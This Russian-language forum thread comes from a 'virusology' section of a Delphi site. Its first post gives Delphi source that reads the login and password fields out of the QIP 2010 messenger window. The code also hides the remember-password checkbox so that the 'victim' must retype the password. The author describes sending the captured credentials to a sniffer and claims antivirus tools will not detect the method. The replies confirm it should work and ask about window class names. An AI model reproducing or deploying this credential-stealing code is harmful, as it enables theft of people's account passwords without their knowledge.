Четверг, 28.03.2024, 14:39 Приветствую вас Гость | Группа "Гости" 
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: Волк-1024, Anton93, xXxSh@dowxXx  
delphicode » Delphi » Вирусология Delphi » тащим пароли с icq,skype,и тд (API)
тащим пароли с icq,skype,и тд
okeДата: Суббота, 19.05.2012, 16:32 | Сообщение # 1
Постоянный
Зарегистрирован: 15.01.2012
Группа: Пользователи
Сообщений: 124
Статус: Offline
На примере я использовал QIP 2010 и вот что получилось))

Code
unit Unit1;

interface

uses
   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
   Dialogs, StdCtrls, ExtCtrls;

type
   TForm1 = class(TForm)
     Memo1: TMemo;
     Button1: TButton;
     procedure Button1Click(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
   end;

var
   Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
   okno,login,psswd,auto:HWND;
   log,pass:array [0..255] of char;
begin
   okno:=FindWindow('TfrmMan.UnicodeClass','QIP 2010');
   if okno<>0 then
   login:= FindWindowEx(okno,0,'TInfuComboBox.UnicodeClass',nil);
   psswd:= FindWindowEx(okno,0,'TInfuEdit.UnicodeClass',nil);
   Sendmessage(login,WM_GETTEXT,20,Integer(@log));
   Sendmessage(psswd,WM_GETTEXT,20,Integer(@pass));
   Memo1.Lines.Add('ICQ : '+ log);
   Memo1.Lines.Add('Password : '+pass);
   auto:= FindWindowEx(okno,0,'TInfuCheckBox.UnicodeClass','Не спрашивать пароль');
   if auto<>0 then
   ShowWindow(auto,SW_HIDE);
end;

end.

сделал невидимой галочку "запомнить пароль" чтоб жертва не нажмала и в дальнейшем не смогла зайти автоматически а мы же дописываем процедуру отлова кнопки вход и при ее нажатии отсылаем на сниффер happy то что у нас в мемо и все) такой способ вроде бы еще не использовали(следовательно антивири должны молчать)
 
MASДата: Пятница, 16.08.2013, 15:15 | Сообщение # 2
Участник
Зарегистрирован: 16.08.2013
Группа: Пользователи
Сообщений: 67
Статус: Offline
должно работать

За одну ночь нельзя изменить свою жизнь, но за одну ночь можно изменить мысли которые изменят твою жизнь. (MAS)
 
AndroidДата: Четверг, 29.12.2016, 13:31 | Сообщение # 3
Постоянный
Зарегистрирован: 13.12.2011
Группа: Пользователи
Сообщений: 100
Статус: Offline
Как узнать названия классов компонент ввода, те что TInfuComboBox.UnicodeClass здесь?
 
delphicode » Delphi » Вирусология Delphi » тащим пароли с icq,skype,и тд (API)
  • Страница 1 из 1
  • 1
Поиск:

delphicode.ru © 2008 - 2024 Хостинг от uCoz